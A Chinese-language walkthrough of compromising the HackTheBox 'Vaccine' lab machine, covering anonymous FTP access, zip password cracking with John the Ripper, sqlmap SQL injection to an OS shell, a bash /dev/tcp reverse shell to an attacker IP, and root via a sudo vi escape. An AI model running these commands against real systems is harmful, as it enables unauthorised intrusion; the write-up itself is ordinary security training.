HTB Vaccine 靶机渗透实战

目标靶机信息

vaccine 靶机
vaccine 靶机IP

  • 靶机IP: 10.129.10.233

一、端口扫描

使用 Nmap 进行端口扫描,发现以下开放端口:

1
nmap -sS -p- 10.129.10.233

vaccine 靶机端口扫描结果

1. 端口扫描结果分析

  • 21/tcp open ftp vsftpd 3.0.3
  • 22/tcp open ssh OpenSSH 8.0
  • 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

其中21端口发现ftp服务,想起来之前靶场有过ftp匿名登陆的情况,尝试使用匿名登陆。

1
ftp 10.129.10.233

ftp匿名登陆

2. 通过ftp获取文件

成功登陆后查看目录

1
ls -al

ftp目录

把backup.zip下载下来

1
get backup.zip

尝试解压backup.zip文件时需要密码
使用John the Ripper对zip文件进行破解
1
2
zip2john backup.zip > zippedzip.txt
john zippedzip.txt

zip密码破解

再次解压缩backup.zip,获得两个文件style.css和index.php

使用cat查看index.php文件内容

1
cat index.php

index.php内容
发现管理员admin和md5加密的密文,使用在线网站解密解密获得密码
md5解密

二、web漏洞利用,SQL注入

在拥有了账号admin和密码后,访问靶机的80端口,进入Web界面
vaccine web界面
在search框口输入1,发现url内有id参数,f12后发现PHPSESSID和value,怀疑存在SQL注入漏洞,接下来使用sqlmap进行测试

1
2
3
4
sqlmap -u "http://10.129.10.233/dashboard.php?search=py" \
--cookie "PHPSESSID=xxxxxxxxx" \
--flush-session \ #清除当前会话数据,确保开始一个新的扫描会话,避免冲突
--os-shell #SQL注入打开一个命令行

sqlmap测试
sqlmap测试结果

成功获取到os shell。
接下来利用反向shell以postgres shell连接
使用nc命令监听8888端口

1
nc -lvnp 8888

在sqlmap的os shell中执行以下命令,建立反向shell连接
1
bash -c 'bash -i >& /dev/tcp/10.10.16.6/8888 0>&1'

反向shell连接

三、提权

1. 提权至postgres用户

在反向shell中,找www目录下的文件

1
2
cd /var/www/html
ls -al

www目录

发现名为dashboard.php的文件,查看该文件内容

1
cat dashboard.php | grep pass #过滤出包含pass的行

发现了postgres用户的密码

接下来可以使用python脚本进行提权

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -l #显示当前用户可以作为超级用户执行的命令列表

但是我的命令框经常自动关闭,显示会话died,
想起来该靶机开放了22端口,尝试ssh登陆

1
ssh postgres@10.129.10.233

输入密码后成功登陆
ssh登陆

成功提权至ostgres用户

2. 提权至root

接下来使用sudo -l命令,发现了/bin/vi 是可以使用特定 pg_hba.conf 文件运行的程序,于是执行

1
2
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:!/bin/bash

成功提权到root权限
root权限

四、总结

在本次 HTB Vaccine 靶机渗透中,依次利用了 FTP 匿名登录 → 获取源码与凭据 → Web 登录 → SQL 注入获取 OS Shell → 反弹 Shell → SSH 登录 → sudo 提权 的完整攻击链。